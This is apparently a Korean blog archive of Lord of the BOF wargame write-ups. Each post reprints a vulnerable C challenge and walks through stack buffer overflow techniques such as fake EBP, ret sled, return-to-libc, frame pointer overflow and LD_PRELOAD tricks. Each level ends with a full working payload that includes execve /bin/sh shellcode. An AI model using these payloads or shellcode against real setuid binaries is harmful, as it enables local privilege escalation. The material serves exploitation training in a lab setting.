Wargame/LOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48); 
    printf("%s\n", buffer);
}
 
cs

힌트로 FEBP가 주어졌다. FakeEBP를 이용하란것 같다.

일단 저번과 비슷한 소스다. 라이브러리와 스택으로 점프못하게 필터링을 해놓았다.

그리고 strncpy로 복사할 문자열수를 48까지로 잡아놔서... 저번과 같이 ret sled는 못할것같다.


하란대로 FakeEBP를 이용하자.


헷갈리므로 RET가 리턴어드레스이고 ret가 에필로고 leave-ret의 ret라고 하겠다.


1. 먼저 SFP를 argv[1]의 값이 있는 곳의 주소로 덮고 RET를 leave-ret의 주소로 덮는다.


---------------------------------------------------

  |  Buf  |  SFP  |  RET  |  argv  |

---------------------------------------------------

↑       ↑

esp    ebp


2. main이 종료되면서 첫번째 leave-ret이 수행된다.

mov esp ebp, pop ebp가 수행되고 ebp에는 FakeEBP가 자리잡는다.


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

   ↑

             esp,ebp


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

               ↑

                                   esp


그리고 ret이 수행되어 두번째 leave-ret으로 뛰게 된다.


2. 두번째 leave-ret이 수행된다.

mov esp ebp가 수행되면서 esp는 ebp(FakeEBP)가 있는 곳으로 이동한다.

pop ebp      esp값이 4증가한다


pop eip, jmp eip   으로 인해 원하는 주소로 점프할 수 있게 된다.




설명을 잘 못해서 저리 표현되었다. 

간단히 말하자면 ebp를 조작하여 leave-ret를 호출하여 leave를 통해 조작된 FakeEBP의 주소로 ESP를 이동시켜 거기서 esp를 기준으로 다시 ret하여 

공격자가 지정된 곳으로 흐름을 조종하는 것이다.


자 이제 공격해보자.



leave-ret 주소 : 0x80484df 




argv[1]의 주소도 찾았다.


DUMMY(4)+&shellcode+버퍼(32) + FakeEBP + leave-ret + shellcode 로 하고 FakeEBP+8인곳에 shellcode의 주소를 두자


Dummy와 &shellcode는 FakeEBP를 통해 esp가 이동하고 pop ebp, pop eip, jmp eip를 위해 넣었다.



payload : ./zombie_assassin `python -c 'print("AAAA"+"\x42\xf8\xff\xbf"+"A"*32+"\xf2\xf7\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`


클리어!


'Wargame > LOB' 카테고리의 다른 글

[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02

[LOB] giant -> assassin

2018. 4. 2. 23:04
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer+sfp hunter
        memset(buffer, 044);
}
 
cs


시작


스택이 배신하였고....  라이브러리마저 배신하였다. 게다가 buffer~sfp까지 프로그램이 종료되기전에 0으로 초기화된다.


즉 SFP조작 불가, 스택, 라이브러리 점프 불가이다.


그럼 어디로 점프할 수 있을까? 하고 보니... main영역안의 ret 명령 주소로로 점프하면 좋을듯하다.


ret의 동작은 pop eip, jmp eip 이므로... esp값을 4증가 시키고 pop한 주소로 이동하게 된다.


그러므로 여기서 main의 return_addr에 ret의 주소를 넣으면 esp를 한칸 위로 올리고 또 ret명령을 만나 eip를 pop해 그 주소로 점프하게 된다.

즉 main의 return_Addr+4의 위치로 점프하게 되므로... 여기에 있는 스택,라이브러리주소 점프 필터를 거를 수 있다.


이렇게 ret를 타고 이동한다해서 ret sled기법이라 불린다. 바로 시도해보자.



ret의 주소는 0x804851e 이다.


buffer와 sfp는 0으로 초기화되므로 그 쪽은 쓸 수 없고, argv[1]영역을 이용해도 좋긴하나, NOP이 많으면 편하므로 argv[2]를 활용하자


인자1 : buffer(44byte) + ret주소(4) + shellcode주소(4) 

인자2 : 쉘코드


./assassin `python -c 'print("A"*44+"\x1e\x85\x04\x08"+"\xbf\xbf\xbf\xbf")'` `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'



적당히 주소를 잡아 쉘코드주소로 쓰자



payload : ./assassin `python -c 'print("A"*44+"\x1e\x85\x04\x08"+"\x14\xf9\xff\xbf")'` `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`



클리어

'Wargame > LOB' 카테고리의 다른 글

[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02

[LOB] bugbear -> giant

2018. 4. 2. 17:37
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    FILE *fp;
    char *lib_addr, *execve_offset, *execve_addr;
    char *ret;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)"&lib_addr);
    fclose(fp);
 
    fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x"&execve_offset);
    fclose(fp);
 
    execve_addr = lib_addr + (int)execve_offset;
    // end
 
    memcpy(&ret, &(argv[1][44]), 4);
    if(ret != execve_addr)
    {
        printf("You must use execve!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


시작


소스코드를 보니 ret를 execve의 주소로 하지않으면 exit하는 것을 볼 수있다.

execve의 주소를 쓰면 될 것 같다.



execve의 주소를 gdb를 통해 구했다.



그러나 주소값을 execve로 해주었는데도 안된다..

게다가 ldd가 /home/giant/assassin에 접근을 못해서 제대로된 execve값을 못구한것 같다.


왜 그런가했더니... tmp2폴더에 giant들을 복사해와 사용해서였다.


원본 파일을 실행해서 입력해보면 정상적으로 되는것을 볼 수있다. 

(왜냐하면 원본파일에는 setuid가 걸려있어 giant권한으로 giant폴더에 접근할 수 있다.)



참고로 \x0a의 값이 줄바꿈문자값(엔터)이라서 ``문을 한번 ""안에 넣어줘야한다. 안그러면 중간에 끓겨서 들어간다;


./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40")'`"


으어... execve를 이용해 쉘코드를 얻으면 좋겠지만,,, payload 구성이 귀찮아서

execve가 끝난 후 리턴되는 주소값을 쉘코드 주소값으로 하는게 더 쉬울 것같다.


그러나 원본 파일은 코어덤프를 못뜨고... gdb로 디버깅할 수 없으므로 복사된 파일로 일단 해야한다.



복사된 파일로 할 때는  /home/giant/assassin에 접근하지 못하기때문에 실제 execve 주소값과 비교하여 exit를 결정하는게 아니라 소스코드에서 구해진 execve_offset값이 비교된다.


일단 저 주소값을 ret에 넣고 argv[2]에 쉘코드를 넣어 코어덤프를 일으켰다.




0xbffff8a0 정도로 뛰어주면 될 것 같다.


A*44(buffer) + execve주소(main의ret) + 쉘코드주소(execve의ret) + 인자1(execve의) + 인자2


payload : ./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xa0\xf8\xff\xbf")'`" `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`




'Wargame > LOB' 카테고리의 다른 글

[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01

[LOB] darkknight -> bugbear

2018. 4. 2. 17:17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


힌트는 RTL! 이다 Return To Library!


스택이 배신했다.. 라이브러리로 가자



system함수의 주소이다.



system함수의 주소로 부터 찾은 "/bin/sh" 문자열의 주소이다.



payload : ./bugbear `python -c 'print("A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40")'`



성공





'Wargame > LOB' 카테고리의 다른 글

[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01

[LOB] golem -> darkknight

2018. 4. 2. 15:29
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void problem_child(char *src)
{
    char buffer[40];
    strncpy(buffer, src, 41);
    printf("%s\n", buffer);
}
 
main(int argc, char *argv[])
{
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
 
    problem_child(argv[1]);
}
 
cs



시작, 힌트로  FPO(Frame Pointer Overflow)가 주어졌다. 


프로그램은 인자로 받은 문자열을 problem_child라는 함수의 인자로 주고 problem_child함수에서는 이것을 buffer에 41자까지만 복사해서 넣는다.


이때 40의 크기를 가진 버퍼가 41자리를 복사해받음으로써 overflow가 일어나 SFP의 끝 한바이트를 조작할 수 있다.


그것을 이용해서 함수의 흐름을 바꾸면 될 것같다.


FPO에 대한 설명은 따로 안적겠다.. 검색하면 자세히 나오니 잊어버렸으면 검색해서 다시 한번 살펴보기



일단 공격하기 위한 구성,


1. problem_child에서 SFP 한바이트 조작 (&(shellcode의 주소)-4)의 위치로.


2. problem_child의 에필로그, leave, ret -> mov esp, ebp / pop ebp / jump eip...


3. 2가 실행되면 조작된 SFP (Main의 ebp)가 main의 ebp가 되고 main의 에필로그에 들어간다.


4. 에필로그에서 leave, ret -> mov esp, ebp / pop ebp / jmp eip가 또 실행된다. 


mov esp, ebp로 esp를 ebp와 같은 주소로 돌리고, pop ebp를 통해 ebp를 pop하면 esp의 주소값이 4증가하고 jmp하게된다.


그러므로 그 때 esp가 있는 곳의 주소가 쉘코드의 주소가 되면 된다. 굿...



일단 main의 ebp값이 원래는 뭐였는지 부터 알아보자.



0xbffffa41로 보인다. 마지막 41은 A가 덮어써져서 생긴것이다. 


그러므로 우리가 ret주소로 쓸수 있는 곳은 0xbffffaXX이다. 



버퍼가 저 주소이므로, 버퍼에 ret주소를 써주면 되겠다.


buffer시작주소 : 0xbffffa84


ebp값을 마지막 바이트를 0x84으로 조작하고 , 버퍼시작주소에 쉘코드의 주소를 넣어서 공격하면 되겠다.


payload 구성 : buffer(&(Shellcde-4) 4 + NOP 11 + Shellcode 25)+SFP_1byte(1)



payload : ./darkknight `python -c 'print("\x84\xfa\xff\xbf"+"\x8c\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x84")'`



성공

'Wargame > LOB' 카테고리의 다른 글

[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] troll -> vampire  (0) 2018.04.01

[LOB] skeleton -> golem

2018. 4. 1. 17:27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // stack destroyer!
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
}
 
cs


스택 디스트로이어!!!! 가 추가되었다. 이름 그대로 스택은 그냥 파괴해버린다. 


gdb로 돌려봣는데;;; 진짜 깔끔하게 파괴해서 버퍼위로는 그닥 쓸만한 공간이 없다.


여기서 쓸수있는 공간이 있는데 LD_PRELOAD 환경변수를 통해 이를 해결할 수 있다.


 LD_PRELOAD는 prefix로 LD_가 붙은, ld.so에 속하는 환경변수로, windows의 AppInit_Dlls 레지스트리와 비슷한 역할을 한다.

LD_PRELOAD에 설정된 shared object는 libc를 비롯한 다른 shared object보다 먼저 로딩된다.

LD_PRELOAD에 설정된 shared library의 함수 중에 이후 로딩된 libc의 함수 이름과 동일한 함수가 있다면 먼저 로딩된(=LD_PRELOAD에 설정된) shared library의 함수를 호출하게 된다. 그래서 결과적으로 보면 자동으로 후킹을 수행하는 것과 같다.

 


음.. 위가 좀 어렵게 설명된거같아서 아래 설명된게 좀 더 낫다.


* LD_PRELOAD


프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다. 이러한 특성을 이용하여 후킹 가능도 할 수 있다.


LD_PRELOAD의 메모리 영역은 공유 라이브러리 영역인 Stack의 지역 변수(Buffer) 영역 위에 존재합니다. (더 낮은 주소)


-------------------------------------------------------------------------------------------------

| Code | Data | BSS | Heap | 공유 라이브러리 | buffer | STP | RET | argc, argv | env, etc |

-------------------------------------------------------------------------------------------------


이런식이다.


공유라이브러리 영역에 LD_PRELOAD 환경변수를 이용해서 라이브러리를 올리는게 가능하다. (즉 라이브러리명을 올리는게 가능)


1. 일단 공유라이브러리영역에 올릴 임시라이브러리 생성


tmp.c로 만들고 안의 내용은 무엇이든 상관없다. 단 컴파일 옵션을 아래와 같이 해야한다.

 

-fPIC 옵션 : Position-Independent Code의 약자, test.o 파일을 동적라이브러리로 사용하도록 컴파일하는 옵션

-shared 옵션 :  공유라이브러리를 만드는 옵션


gcc -fPIC -shared tmp.c -o `python -c 'print("\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6")'`




2. 환경변수 LD_PRELOAD를 등록한다. 


등록되는 값은 공유라이브러리영역에 올린 라이브러리 경로로, 절대경로로 해야한다.


export LD_PRELOAD="`python -c 'print("/home/skeleton/tmp2/"+"\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6")'`"



3. gdb로 위치 파악


-------------------------------------------------------------------------------------------------

| Code | Data | BSS | Heap | 공유 라이브러리 | buffer | STP | RET | argc, argv | env, etc |

-------------------------------------------------------------------------------------------------



0xbffff55c쯤으로 점프하면 되겠다.


payload : ./golem `python -c 'print("A"*44+"\x5c\xf5\xff\xbf")'`



굿


'Wargame > LOB' 카테고리의 다른 글

[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] troll -> vampire  (0) 2018.04.01
[LOB] orge -> troll  (0) 2018.04.01

[LOB] vampire -> skeleton

2018. 4. 1. 16:58
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i, saved_argc;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }
 
    // argc saver
    saved_argc = argc;
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
    // ultra argv hunter!
    for(i=0; i<saved_argc; i++)
        memset(argv[i], 0, strlen(argv[i]));
}
 
cs


시작


에그헌터 + 버퍼헌터+ argv헌터!!


다 잡아버리네 ㅂㄷㅂㄷ....


하지만 실행프로그램 이름은 환경변수 끝에 저장되어있어서... 이것만은 안지워진단 사실!


이것을 이용하자...



저기있다. 또 심볼릭 링크가 필요하다.



심볼릭 링크 완료~



음? 코어덤프를 뜰 생각이였는데 그만 성공해버렸다...


운이 좋군;;


payload : ./`python -c 'print("\x90")'`* `python -c 'print("\x90"*44+"\x84\xff\xff\xbf")'`



'Wargame > LOB' 카테고리의 다른 글

[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] troll -> vampire  (0) 2018.04.01
[LOB] orge -> troll  (0) 2018.04.01
[LOB] darkelf -> orge  (0) 2018.03.31

[LOB] troll -> vampire

2018. 4. 1. 16:37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
        // here is changed!
        if(argv[1][46== '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


시작~


코드가 짧아졌다. 검사하는건 argv[1][47] != '\xbf' , argv[1][46] == '\xff'  이다.


즉 리턴주소가 0xbfff~ 이면 될것같다. 


아 아니네; 0xbf까지는 되야하고 그 뒤가 ff이면 안된다.


그러므로 리턴주소를 0xbffe~~ 이런식으로 조금 바꿔줘야겠다.


인자값으로 엄청 큰 값을 넣게되면 argv[1]의 주소값이 밀릴것이므로... 엄청 큰값을 넣어주면 해결될것같다.


물론 48자 넘으면 안되니까... 엄청 큰값을 넣는건 agrv[2]로 한다.


분석부터 ㄱㄱ..



성공적으로 밀렸다.



payload : ./vampire `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x7a\x75\xfe\xbf"+"   "+"A"*100000)'`



성공








'Wargame > LOB' 카테고리의 다른 글

[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] orge -> troll  (0) 2018.04.01
[LOB] darkelf -> orge  (0) 2018.03.31
[LOB] wolfman -> darkelf  (0) 2018.03.31

[LOB] orge -> troll

2018. 4. 1. 14:27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    // here is changed
    if(argc != 2){
        printf("argc must be two!\n");
        exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
    // one more!
    memset(argv[1], 0, strlen(argv[1]));
}
 
cs


시작


처음 시작할 때 받는 인자수가 무조건 2개로 되게 제한사항이 생긴것 말고는 저번 문제와 같다.


.... 인줄 알았는데... argv[1]도 파괴해버리네 ㅡㅡ; 뭐 그래도 저런경우는 argv[0]을 이용해서 풀면 된다.


argv[0]은 프로그램 이름이고, 이것은 심볼링 링크를 통해 조작할 수 잇다.


쉘코드를 포함하는 이름으로 프로그램에 링크를 걸고 공격하면 되겟다.


여기서 주의할 점은 쉘코드가 \x2f를 포함하며 안된다는것... \x2f는  '/'값으로 파일명으로는 쓸수 없다...


(정 쓰고 싶다면 \x2f를 만날때마다 폴더를 만들어서 끓어쓰면 된다.)


x2f : / 표시없는 쉘코드


\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6


이걸로 심볼릭 링크를 걸자



잘걸렸다. 이제 argv[0]의 주소를 알아내자.


저기에 있다.


이제 공격하면 된다.


payload : ./`python -c 'print("\x90")'`*  `python -c 'print("A"*44+"\x1f\xfc\xff\xbf")'`



클리어

'Wargame > LOB' 카테고리의 다른 글

[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] troll -> vampire  (0) 2018.04.01
[LOB] darkelf -> orge  (0) 2018.03.31
[LOB] wolfman -> darkelf  (0) 2018.03.31
[LOB] orc -> wolfman  (0) 2018.03.30

[LOB] darkelf -> orge

2018. 3. 31. 18:46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // here is changed!
    if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
 
cs

시작

저번과 같다. 버퍼,환경변수를 다 지워주고 argv[1]의 길이가 48을 넘으면 안된다.

바뀐점은 argv[0]의 길이가 77이여야한다는 것이다. 그렇지않으면 exit된다. 

argv[0]은 실행프로그램 이름으로 ... 실행할때 .////////orge 이런식으로 입력해서 길이를 늘릴수 있다.


.`python -c 'print("/"*72)'`orge 



argv[1]의 주소 , 0xbffffb84


payload : .`python -c 'print("/"*72)'`orge `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x84\xfb\xff\xbf")'`



클리어


'Wargame > LOB' 카테고리의 다른 글

[LOB] troll -> vampire  (0) 2018.04.01
[LOB] orge -> troll  (0) 2018.04.01
[LOB] wolfman -> darkelf  (0) 2018.03.31
[LOB] orc -> wolfman  (0) 2018.03.30
[LOB] goblin -> orc  (0) 2018.03.30

+ Recent posts